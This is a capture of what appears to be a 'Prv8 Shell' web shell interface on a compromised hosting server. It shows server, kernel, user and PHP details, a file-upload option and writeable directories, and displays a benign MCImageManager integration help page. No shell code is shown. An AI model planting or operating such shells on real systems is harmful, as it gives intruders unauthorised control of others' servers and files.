Prv8 Shell
Server : Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/1.0.0-fips mod_auth_passthrough/2.1 mod_bwlimited/1.4
System : Linux server.jackjohnson.com 2.6.32-279.5.2.el6.x86_64 #1 SMP Fri Aug 24 01:07:11 UTC 2012 x86_64
User : jackjohn ( 502)
PHP Version : 5.3.17
Disable Function : NONE
Directory :  /home/jackjohn/www/imagemanager/docs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/jackjohn/www/imagemanager/docs/system_integration.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>System integration</title>
<link href="css/screen.css" rel="stylesheet" type="text/css" />
</head>
<body>

<div class="header">
	<h1>System integration</h1>
</div>

<div class="content">
	<p>MCImageManager is made to be easy to integrate with you system and it seamlessly integrates with <a href="http://tinymce.moxiecode.com">TinyMCE</a> (our open source editor).</p>

	<div class="separator"></div>

	<h2>Integrating MCImageManager as standalone</h2>
	<div class="section">
		<p>The most common way to use MCImageManager as a standalone application is to simply add browse buttons in forms that then enables the user to select a file and insert that URL into the form, for example selecting a image or document.</p>
		<p>In order to create a browse button you will need to add the mcimagemanager.js file and then add a special javascript link that opens up the MCImageManager. This javascript link includes a call to a special function that takes a number of parameters.</p>
		<p>The function with it's parameters looks like this: mcImageManager.open(form_name, element_names, [file_url], [js], [settings]).</p>
			<ul>
				<li>form_name - The name of the form element or a index number.</li>
				<li>element_names - The name of the form elements, like input fields. These fields will be filled with the selected file URL.</li>
				<li>[file_url] - Optional file URL, this is the default path that will be used by the MCImageManager.</li>
				<li>[js] - Optional JavaScript callback function name, this function will have the selected URL as it's first argument.</li>
				<li>[settings] - Optional <a href="javascript_options.html">settings</a> these settings are the same as in the page level init call. These settings will override the page level settings.</li>
			</ul>
		<p>The example below shows what lines needs to be added to a simple form page. The lines are marked in bold.<br /><br /></p>
	<h3>Example how to use MCImageManager in standalone mode:</h3>
	<div class="example">
<pre>
&lt;html&gt;
&lt;head&gt;

&lt;title&gt;Example&lt;/title&gt;
<strong>&lt;script language=&quot;javascript&quot; type=&quot;text/javascript&quot; src=&quot;jscripts/mcimagemanager.js&quot;&gt;&lt;/script&gt;</strong>
&lt;/head&gt;
&lt;body&gt;

&lt;h3&gt;Simple example:&lt;/h3&gt;
&lt;form name=&quot;example1&quot;&gt;
Some URL field: &lt;input type=&quot;text&quot; name=&quot;url&quot; value=&quot;Select file&quot;&gt;

<strong>&lt;a href=&quot;javascript:mcImageManager.open('example1','url');&quot;&gt;[Browse]&lt;/a&gt;</strong>
&lt;/form&gt;

&lt;h3&gt;Iframe example:&lt;/h3&gt;
&lt;form name=&quot;example2&quot;&gt;
&lt;div&gt;&lt;iframe id=&quot;myiframe&quot; src=&quot;about:blank&quot; style=&quot;width: 600px; height: 450px&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;

Some URL field: &lt;input type=&quot;text&quot; name=&quot;url&quot; value=&quot;Select file&quot;&gt;
<strong>&lt;a href=&quot;javascript:mcImageManager.openInIframe('myiframe','example2','url');&quot;&gt;[Browse]&lt;/a&gt;</strong>
&lt;/form&gt;

&lt;/body&gt;
&lt;/html&gt;
</pre>
	</div>
</div>

	<div class="separator"></div>

	<h2>Integrating MCImageManager with TinyMCE</h2>
	<div class="section">Copy the imagemanager directory into the plugins directory of TinyMCE then add &quot;imagemanager&quot; to the list of plugins in the TinyMCE plugins option. Consult the TinyMCE manuals for details on this option.</div><br />
	<h3>Example of how to add the MCImageManager to TinyMCE as a plugin:</h3>
	<div class="example">
<pre>
&lt;script language=&quot;javascript&quot; type=&quot;text/javascript&quot; src=&quot;../jscripts/tiny_mce/tiny_mce.js&quot;&gt;&lt;/script&gt;
&lt;script language=&quot;javascript&quot; type=&quot;text/javascript&quot;&gt;
tinyMCE.init({
	mode : &quot;textareas&quot;,
	theme : &quot;advanced&quot;,
	plugins : "<strong>imagemanager</strong>"
});
</pre>
</div>
	<div class="separator"></div>

	<h2>Integrating MCImageManager with MCFileManager</h2>
	<div class="section">
		<p>If you have both MCImageManager and the MCFileManager installed on the same system you can integrate them with each other. This is done by changing the <a href="option_filemanager_urlprefix.html">filemanager.urlprefix</a> to the URL location of the MCFileManager and adding the filemanager to the <a href="option_general_tools.html">general.tools</a> option. This will add a new filemanager button that links to the MCFileManager.</p>
	</div>
</div>

<div class="footer">
	<div class="helpindexlink"><a href="index.html">Help index</a></div>
	<div class="copyright">Copyright &copy; 2005-2006 Moxiecode Systems AB</div>
	<br style="clear: both" />
</div>

</body>
</html>

haha - 2025